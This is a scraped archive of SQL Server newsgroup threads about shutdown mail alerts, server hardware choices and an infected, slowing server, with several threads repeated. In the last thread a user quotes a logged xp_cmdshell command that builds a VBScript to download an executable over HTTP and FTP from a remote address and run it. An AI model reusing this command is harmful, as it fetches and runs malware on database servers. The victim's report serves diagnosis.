mail notification of SQL shutdown

Hi,
Is it possible to config SQL mail send out a message when machine reboot or
SQL server shutdown?
Thanks,
Jack
Hi
You can't do it during the shutdown process as you may not be notified, if
it is a quick one, there is an OS shut down or crash.
For Startup, create a Stored Procedure. Then with sp_procoption, mark it for
startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds before
you send the mail. This gives the various MAPI components time to be loaded
by SQL Agent before you start to throw work their way.
If the SQL Server is really critical, it is best to get an external
monitoring tool to monitor the OS and SQL Server. Self monitoring on
software has its problems...It can't report on itself very well as it may
not be in a state to monitor itself.
Regards
Mike Epprecht, Microsoft SQL Server MVP
Zurich, Switzerland
IM: mike@.epprecht.net
MVP Program: http://www.microsoft.com/mvp
Blog: http://www.msmvps.com/epprecht/
"Jack" <chongh.hc@.gmail.com> wrote in message
news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
> Hi,
> Is it possible to config SQL mail send out a message when machine reboot
> or SQL server shutdown?
> Thanks,
> Jack
>
|||Hi, Mike,
Thanks for your reply, I'll try your suggestion.
To help me better understand this question, I have to know "how SQL react if
OS send shutdown command to it?", if I can know any trigger force SQL
server/agent shutdown, can we apply a SP run first before SQL server/agent
proceed shutdown command that OS send to it.
Hope you can understand me , my English is not good.
Regards,
Chong
"Mike Epprecht (SQL MVP)" <mike@.epprecht.net> wrote in message
news:uoHQEuaPFHA.3560@.TK2MSFTNGP14.phx.gbl...
> Hi
> You can't do it during the shutdown process as you may not be notified, if
> it is a quick one, there is an OS shut down or crash.
> For Startup, create a Stored Procedure. Then with sp_procoption, mark it
> for startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds
> before you send the mail. This gives the various MAPI components time to
> be loaded by SQL Agent before you start to throw work their way.
> If the SQL Server is really critical, it is best to get an external
> monitoring tool to monitor the OS and SQL Server. Self monitoring on
> software has its problems...It can't report on itself very well as it may
> not be in a state to monitor itself.
> Regards
> --
> Mike Epprecht, Microsoft SQL Server MVP
> Zurich, Switzerland
> IM: mike@.epprecht.net
> MVP Program: http://www.microsoft.com/mvp
> Blog: http://www.msmvps.com/epprecht/
> "Jack" <chongh.hc@.gmail.com> wrote in message
> news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
>
|||AFAIK, SQL behaves as any other service which is sent the STOP command - it
shuts down immediately. You would probably need to code your own WMI
application to trap service events, or use some 3rd-party monitoring
software.
One thing you might want to try is setting up a T-SQL job on another SQL
Server to try and connect (using osql.exe for example) and notify you if it
fails.
Adrian
"Jack" <chongh.hc@.gmail.com> wrote in message
news:%23biEK%23cPFHA.3336@.TK2MSFTNGP09.phx.gbl...
> Hi, Mike,
> Thanks for your reply, I'll try your suggestion.
> To help me better understand this question, I have to know "how SQL react
> if OS send shutdown command to it?", if I can know any trigger force SQL
> server/agent shutdown, can we apply a SP run first before SQL server/agent
> proceed shutdown command that OS send to it.
> Hope you can understand me , my English is not good.
> Regards,
> Chong
> "Mike Epprecht (SQL MVP)" <mike@.epprecht.net> wrote in message
> news:uoHQEuaPFHA.3560@.TK2MSFTNGP14.phx.gbl...
>

mail notification of SQL shutdown

Hi,
Is it possible to config SQL mail send out a message when machine reboot or
SQL server shutdown?
Thanks,
JackHi
You can't do it during the shutdown process as you may not be notified, if
it is a quick one, there is an OS shut down or crash.
For Startup, create a Stored Procedure. Then with sp_procoption, mark it for
startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds before
you send the mail. This gives the various MAPI components time to be loaded
by SQL Agent before you start to throw work their way.
If the SQL Server is really critical, it is best to get an external
monitoring tool to monitor the OS and SQL Server. Self monitoring on
software has its problems...It can't report on itself very well as it may
not be in a state to monitor itself.
Regards
--
Mike Epprecht, Microsoft SQL Server MVP
Zurich, Switzerland
IM: mike@.epprecht.net
MVP Program: http://www.microsoft.com/mvp
Blog: http://www.msmvps.com/epprecht/
"Jack" <chongh.hc@.gmail.com> wrote in message
news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
> Hi,
> Is it possible to config SQL mail send out a message when machine reboot
> or SQL server shutdown?
> Thanks,
> Jack
>|||Hi, Mike,
Thanks for your reply, I'll try your suggestion.
To help me better understand this question, I have to know "how SQL react if
OS send shutdown command to it?", if I can know any trigger force SQL
server/agent shutdown, can we apply a SP run first before SQL server/agent
proceed shutdown command that OS send to it.
Hope you can understand me , my English is not good.
Regards,
Chong
"Mike Epprecht (SQL MVP)" <mike@.epprecht.net> wrote in message
news:uoHQEuaPFHA.3560@.TK2MSFTNGP14.phx.gbl...
> Hi
> You can't do it during the shutdown process as you may not be notified, if
> it is a quick one, there is an OS shut down or crash.
> For Startup, create a Stored Procedure. Then with sp_procoption, mark it
> for startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds
> before you send the mail. This gives the various MAPI components time to
> be loaded by SQL Agent before you start to throw work their way.
> If the SQL Server is really critical, it is best to get an external
> monitoring tool to monitor the OS and SQL Server. Self monitoring on
> software has its problems...It can't report on itself very well as it may
> not be in a state to monitor itself.
> Regards
> --
> Mike Epprecht, Microsoft SQL Server MVP
> Zurich, Switzerland
> IM: mike@.epprecht.net
> MVP Program: http://www.microsoft.com/mvp
> Blog: http://www.msmvps.com/epprecht/
> "Jack" <chongh.hc@.gmail.com> wrote in message
> news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
>|||AFAIK, SQL behaves as any other service which is sent the STOP command - it
shuts down immediately. You would probably need to code your own WMI
application to trap service events, or use some 3rd-party monitoring
software.
One thing you might want to try is setting up a T-SQL job on another SQL
Server to try and connect (using osql.exe for example) and notify you if it
fails.
Adrian
"Jack" <chongh.hc@.gmail.com> wrote in message
news:%23biEK%23cPFHA.3336@.TK2MSFTNGP09.phx.gbl...
> Hi, Mike,
> Thanks for your reply, I'll try your suggestion.
> To help me better understand this question, I have to know "how SQL react
> if OS send shutdown command to it?", if I can know any trigger force SQL
> server/agent shutdown, can we apply a SP run first before SQL server/agent
> proceed shutdown command that OS send to it.
> Hope you can understand me , my English is not good.
> Regards,
> Chong
> "Mike Epprecht (SQL MVP)" <mike@.epprecht.net> wrote in message
> news:uoHQEuaPFHA.3560@.TK2MSFTNGP14.phx.gbl...
>

mail notification of SQL shutdown

Hi,
Is it possible to config SQL mail send out a message when machine reboot or
SQL server shutdown?
Thanks,
JackHi
You can't do it during the shutdown process as you may not be notified, if
it is a quick one, there is an OS shut down or crash.
For Startup, create a Stored Procedure. Then with sp_procoption, mark it for
startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds before
you send the mail. This gives the various MAPI components time to be loaded
by SQL Agent before you start to throw work their way.
If the SQL Server is really critical, it is best to get an external
monitoring tool to monitor the OS and SQL Server. Self monitoring on
software has its problems...It can't report on itself very well as it may
not be in a state to monitor itself.
Regards
--
Mike Epprecht, Microsoft SQL Server MVP
Zurich, Switzerland
IM: mike@.epprecht.net
MVP Program: http://www.microsoft.com/mvp
Blog: http://www.msmvps.com/epprecht/
"Jack" <chongh.hc@.gmail.com> wrote in message
news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
> Hi,
> Is it possible to config SQL mail send out a message when machine reboot
> or SQL server shutdown?
> Thanks,
> Jack
>|||Hi, Mike,
Thanks for your reply, I'll try your suggestion.
To help me better understand this question, I have to know "how SQL react if
OS send shutdown command to it?", if I can know any trigger force SQL
server/agent shutdown, can we apply a SP run first before SQL server/agent
proceed shutdown command that OS send to it.
Hope you can understand me , my English is not good.
Regards,
Chong
"Mike Epprecht (SQL MVP)" <mike@.epprecht.net> wrote in message
news:uoHQEuaPFHA.3560@.TK2MSFTNGP14.phx.gbl...
> Hi
> You can't do it during the shutdown process as you may not be notified, if
> it is a quick one, there is an OS shut down or crash.
> For Startup, create a Stored Procedure. Then with sp_procoption, mark it
> for startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds
> before you send the mail. This gives the various MAPI components time to
> be loaded by SQL Agent before you start to throw work their way.
> If the SQL Server is really critical, it is best to get an external
> monitoring tool to monitor the OS and SQL Server. Self monitoring on
> software has its problems...It can't report on itself very well as it may
> not be in a state to monitor itself.
> Regards
> --
> Mike Epprecht, Microsoft SQL Server MVP
> Zurich, Switzerland
> IM: mike@.epprecht.net
> MVP Program: http://www.microsoft.com/mvp
> Blog: http://www.msmvps.com/epprecht/
> "Jack" <chongh.hc@.gmail.com> wrote in message
> news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
>> Hi,
>> Is it possible to config SQL mail send out a message when machine reboot
>> or SQL server shutdown?
>> Thanks,
>> Jack
>|||AFAIK, SQL behaves as any other service which is sent the STOP command - it
shuts down immediately. You would probably need to code your own WMI
application to trap service events, or use some 3rd-party monitoring
software.
One thing you might want to try is setting up a T-SQL job on another SQL
Server to try and connect (using osql.exe for example) and notify you if it
fails.
Adrian
"Jack" <chongh.hc@.gmail.com> wrote in message
news:%23biEK%23cPFHA.3336@.TK2MSFTNGP09.phx.gbl...
> Hi, Mike,
> Thanks for your reply, I'll try your suggestion.
> To help me better understand this question, I have to know "how SQL react
> if OS send shutdown command to it?", if I can know any trigger force SQL
> server/agent shutdown, can we apply a SP run first before SQL server/agent
> proceed shutdown command that OS send to it.
> Hope you can understand me , my English is not good.
> Regards,
> Chong
> "Mike Epprecht (SQL MVP)" <mike@.epprecht.net> wrote in message
> news:uoHQEuaPFHA.3560@.TK2MSFTNGP14.phx.gbl...
>> Hi
>> You can't do it during the shutdown process as you may not be notified,
>> if it is a quick one, there is an OS shut down or crash.
>> For Startup, create a Stored Procedure. Then with sp_procoption, mark it
>> for startup. But, in you SP, add a delay with "DELAY" for 20-30 seconds
>> before you send the mail. This gives the various MAPI components time to
>> be loaded by SQL Agent before you start to throw work their way.
>> If the SQL Server is really critical, it is best to get an external
>> monitoring tool to monitor the OS and SQL Server. Self monitoring on
>> software has its problems...It can't report on itself very well as it
>> may not be in a state to monitor itself.
>> Regards
>> --
>> Mike Epprecht, Microsoft SQL Server MVP
>> Zurich, Switzerland
>> IM: mike@.epprecht.net
>> MVP Program: http://www.microsoft.com/mvp
>> Blog: http://www.msmvps.com/epprecht/
>> "Jack" <chongh.hc@.gmail.com> wrote in message
>> news:u3WxXCaPFHA.2568@.TK2MSFTNGP14.phx.gbl...
>> Hi,
>> Is it possible to config SQL mail send out a message when machine reboot
>> or SQL server shutdown?
>> Thanks,
>> Jack
>>
>

Machine to run SQL 2000

Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
million rows) and as of late we have noticed a degradation in performance.
As we will be needing a new server to host our new website, we have decided
to relegate the 4400 to web hosting and buy a new SQL server box. I know
there is time to be spent running profiler / perfmon etc to track down the
source of the performance problems, but we WILL be needing a new box first,
then I can start to diagnose the perf. issues.
What I would like to know is what factors are MOST important when
considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
RAM, On-chip cache etc. I know the best advise is usually "get the best
machine you can afford" but when weighing up the options there are some
things that have to be decided on an either/or basis i.e. a one-CPU machine
with 1MB cache, or a dual-CPU machine with 512KB cache.
Many thanks for any input,
dfAll of this is my experience and personal opinion. YMMV.
I prefer more CPUs to bigger CPU cache.
More memory is preferable to faster CPUs, within reason. Unless you are
running Enterprise Edition, anything over 4GB in the box is wasted so plan
accordingly. If you are using Enterprise edition, put as much memory as you
can afford in the box.
RAID-10 is three to five times faster than RAID-5. Lots of drive spindles
is a cheap way to boost performance.
Definitely use Windows Server 2003 as the OS.
Since you are a Dell shop, you might want to check out the CX-200
entry-level SAN. It is a bit more than a SCSI Powervault, but not
prohibitively so. I would seriously look into the best PowerEdge 6650 I
could afford with a CX-200 back-end. If not, maybe a 6600 with 12 internal
SCSI drives. Obviously , we all have budget constraints but definitely
squeeze every bit you can for this.
--
Geoff N. Hiten
SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"digitalfish" <digital.fish@.ntlworld.com> wrote in message
news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
> million rows) and as of late we have noticed a degradation in performance.
> As we will be needing a new server to host our new website, we have
decided
> to relegate the 4400 to web hosting and buy a new SQL server box. I know
> there is time to be spent running profiler / perfmon etc to track down the
> source of the performance problems, but we WILL be needing a new box
first,
> then I can start to diagnose the perf. issues.
> What I would like to know is what factors are MOST important when
> considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
> RAM, On-chip cache etc. I know the best advise is usually "get the best
> machine you can afford" but when weighing up the options there are some
> things that have to be decided on an either/or basis i.e. a one-CPU
machine
> with 1MB cache, or a dual-CPU machine with 512KB cache.
> Many thanks for any input,
> df
>|||On Wed, 01 Oct 2003 11:04:44 GMT, "digitalfish"
<digital.fish@.ntlworld.com> wrote:
>Many thanks for any input,
Preference to the dual cpu -- the benefits outweigh the problems.
Lots o' RAM.
RAID disk. Used to be a big deal to mirror the log and stripe the
main store, I don't quite know now what's optimal. IMO, big RAM makes
a lot of that less important. Depends how big the database is and the
kind of traffic you do on it, of course.
J.|||Geoff;
I agree with you on the general choice between more CPUs and bigger CPU
cache, and between more memory and faster CPUs.
What would be your choice between faster CPUs and more CPU cache? In total
abstract and in general, my perference has been more CPU cache. Obviously,
I'm not talking about going from 400MHz to 2.6GHz.
--
Linchi Shea
linchi_shea@.NOSPAMml.com
"Geoff N. Hiten" <SRDBA@.Careerbuilder.com> wrote in message
news:uioFyHCiDHA.4024@.TK2MSFTNGP11.phx.gbl...
> All of this is my experience and personal opinion. YMMV.
> I prefer more CPUs to bigger CPU cache.
> More memory is preferable to faster CPUs, within reason. Unless you are
> running Enterprise Edition, anything over 4GB in the box is wasted so plan
> accordingly. If you are using Enterprise edition, put as much memory as
you
> can afford in the box.
> RAID-10 is three to five times faster than RAID-5. Lots of drive spindles
> is a cheap way to boost performance.
> Definitely use Windows Server 2003 as the OS.
> Since you are a Dell shop, you might want to check out the CX-200
> entry-level SAN. It is a bit more than a SCSI Powervault, but not
> prohibitively so. I would seriously look into the best PowerEdge 6650 I
> could afford with a CX-200 back-end. If not, maybe a 6600 with 12
internal
> SCSI drives. Obviously , we all have budget constraints but definitely
> squeeze every bit you can for this.
> --
> Geoff N. Hiten
> SQL Server MVP
> Senior Database Administrator
> Careerbuilder.com
>
>
> "digitalfish" <digital.fish@.ntlworld.com> wrote in message
> news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> > Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> > 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large
(~50
> > million rows) and as of late we have noticed a degradation in
performance.
> > As we will be needing a new server to host our new website, we have
> decided
> > to relegate the 4400 to web hosting and buy a new SQL server box. I know
> > there is time to be spent running profiler / perfmon etc to track down
the
> > source of the performance problems, but we WILL be needing a new box
> first,
> > then I can start to diagnose the perf. issues.
> >
> > What I would like to know is what factors are MOST important when
> > considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad
processor,
> > RAM, On-chip cache etc. I know the best advise is usually "get the best
> > machine you can afford" but when weighing up the options there are some
> > things that have to be decided on an either/or basis i.e. a one-CPU
> machine
> > with 1MB cache, or a dual-CPU machine with 512KB cache.
> >
> > Many thanks for any input,
> > df
> >
> >
>|||Tough call. Most 4+ way systems now have 1MB cache except on the very
fastest processors which have 2MB cache, so you really don't get a tradeoff
there. It is either faster AND more cache or not. As an example, a Dell
PowerEdge 6600/6650 can currently have either 2.5GHz processors with 1MB
cache or 2.8GHz processors with 2MB cache. If you have to compromise, back
off the processor speed/cache slightly and get more RAM and a better disk
subsystem.
--
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"Linchi Shea" <linchi_shea@.NOSPAMml.com> wrote in message
news:%23wDjVyJiDHA.2120@.TK2MSFTNGP10.phx.gbl...
> Geoff;
> I agree with you on the general choice between more CPUs and bigger CPU
> cache, and between more memory and faster CPUs.
> What would be your choice between faster CPUs and more CPU cache? In total
> abstract and in general, my perference has been more CPU cache. Obviously,
> I'm not talking about going from 400MHz to 2.6GHz.
> --
> Linchi Shea
> linchi_shea@.NOSPAMml.com
>
> "Geoff N. Hiten" <SRDBA@.Careerbuilder.com> wrote in message
> news:uioFyHCiDHA.4024@.TK2MSFTNGP11.phx.gbl...
> > All of this is my experience and personal opinion. YMMV.
> >
> > I prefer more CPUs to bigger CPU cache.
> > More memory is preferable to faster CPUs, within reason. Unless you are
> > running Enterprise Edition, anything over 4GB in the box is wasted so
plan
> > accordingly. If you are using Enterprise edition, put as much memory as
> you
> > can afford in the box.
> > RAID-10 is three to five times faster than RAID-5. Lots of drive
spindles
> > is a cheap way to boost performance.
> > Definitely use Windows Server 2003 as the OS.
> >
> > Since you are a Dell shop, you might want to check out the CX-200
> > entry-level SAN. It is a bit more than a SCSI Powervault, but not
> > prohibitively so. I would seriously look into the best PowerEdge 6650 I
> > could afford with a CX-200 back-end. If not, maybe a 6600 with 12
> internal
> > SCSI drives. Obviously , we all have budget constraints but definitely
> > squeeze every bit you can for this.
> >
> > --
> > Geoff N. Hiten
> > SQL Server MVP
> > Senior Database Administrator
> > Careerbuilder.com
> >
> >
> >
> >
> >
> > "digitalfish" <digital.fish@.ntlworld.com> wrote in message
> > news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> > > Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> > > 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large
> (~50
> > > million rows) and as of late we have noticed a degradation in
> performance.
> > > As we will be needing a new server to host our new website, we have
> > decided
> > > to relegate the 4400 to web hosting and buy a new SQL server box. I
know
> > > there is time to be spent running profiler / perfmon etc to track down
> the
> > > source of the performance problems, but we WILL be needing a new box
> > first,
> > > then I can start to diagnose the perf. issues.
> > >
> > > What I would like to know is what factors are MOST important when
> > > considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad
> processor,
> > > RAM, On-chip cache etc. I know the best advise is usually "get the
best
> > > machine you can afford" but when weighing up the options there are
some
> > > things that have to be decided on an either/or basis i.e. a one-CPU
> > machine
> > > with 1MB cache, or a dual-CPU machine with 512KB cache.
> > >
> > > Many thanks for any input,
> > > df
> > >
> > >
> >
> >
>|||Minimum 2 CPU's, 2 GB RAM.
Preferred:
4 CPU's, 4-8 GB RAM. RAID array.
CPU speed or cache does not matter nearly as much at having 2 or more and
having lots of RAM, and a RAID array. RAID 5 or 10.
In order of preference - price vs performance
2 CPU
2 GB RAM
RAID 5
4 GB RAM
4 CPU's
RAID 10
J
www.urbanvoyeur.com
"digitalfish" <digital.fish@.ntlworld.com> wrote in message
news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
> million rows) and as of late we have noticed a degradation in performance.
> As we will be needing a new server to host our new website, we have
decided
> to relegate the 4400 to web hosting and buy a new SQL server box. I know
> there is time to be spent running profiler / perfmon etc to track down the
> source of the performance problems, but we WILL be needing a new box
first,
> then I can start to diagnose the perf. issues.
> What I would like to know is what factors are MOST important when
> considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
> RAM, On-chip cache etc. I know the best advise is usually "get the best
> machine you can afford" but when weighing up the options there are some
> things that have to be decided on an either/or basis i.e. a one-CPU
machine
> with 1MB cache, or a dual-CPU machine with 512KB cache.
> Many thanks for any input,
> df
>

Machine Specs

Hello,
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks.
"Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA
|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)

Machine Specs

Hello,
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks."Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>>Hello,
>>I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
>>a white paper or instructions on recommended hardware specs and/or
>>server 2003 tweaks?
>>Thanks.
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)

Machine Specs

Hello,
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks."Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)

machine slow performance

I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1
.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.[vbcol=seagreen
]
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssq
l.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?SQL Server does not do this by itself. It is either a job or some applicatio
n that does this. I
suggest you use Profiler to track down who is calling these xp_cmdshell exec
utions.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"bass_ua" <u30195@.uwe> wrote in message news:6ab4e8b03613c@.uwe...
>I have discovered recently that the sql server 2000 sp4 has spawned a lot o
f
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:
\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&ec
ho
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
> CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data
=
> CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&ech
o
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&ec
ho.
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
> adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_ms
sql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action'
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-
best wishes for the holidays,
steve|||LOL
Bring it on, Steve. ;-)

> Ok, Rac uses xp_cmdshell and regularly.
Ahh, I didn't know that. You think this one was RAC? I tend to be suspicious
when I see a lot of
xp_cmdshell calls, but that it not the same as saying that there aren't good
/smart/valid reasons to
use it.

> best wishes for the holidays,
And the same to you! :-)
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Steve Dassin" <steve@.nospamrac4sql.net> wrote in message
news:uK8aDjwHHHA.1264@.TK2MSFTNGP06.phx.gbl...
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote i
n message
> news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> 'TRACK DOWN' ...is this a police action'
> Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it!
?
> You wanna come and get me? You gonna bring the MVP brigade? Armed?
> Well I'll be waiting for ya. I'm not frightened by the shell game.
>
> -
> best wishes for the holidays,
> steve
>|||Hi all, I'm fighting with exactly the same problem on my server. I've
tried everything I know without success. Do someone have an idea about
solving the problem ? Thanks
Marzio
Marzio Molinari
---
Marzio Molinari's Profile: http://unixadmintalk.com/798
View this thread: http://unixadmintalk.com/showthread.php?t=254838

machine slow performance

I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&ech o Set HTTPGET =
CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.[vbcol=seagreen]
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action?
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-
best wishes for the holidays,
steve
|||We have a SQL server exhibiting odd behavior too with the trouble starting on
Monday. We are also seeing the same xpCMevents in our logs. Multiple
